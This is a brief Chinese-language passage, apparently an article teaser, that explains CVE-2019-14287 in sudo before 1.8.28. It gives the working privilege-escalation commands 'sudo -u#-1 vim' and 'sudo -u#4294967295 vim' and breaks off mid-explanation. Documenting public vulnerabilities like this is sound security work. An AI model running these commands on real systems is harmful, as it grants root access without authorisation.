CVE-2019-14287LinuxSudo提权

介绍 CVE-2019-14287利用sudo命令漏洞，可在无需知道root密码的情况下切换到root身份。 范围 sudo 1.8.28之前所有的版本 复现 确认sudo的版本：sudo -V     利用：sudo -u#-1 vim，或者sudo -u#4294967295 vim 说明：sudo通过u参数来切换用户身份运行命令，可以跟用户名，也可以跟uid，uid前需要加#号。 使用uid

>>阅读原文<<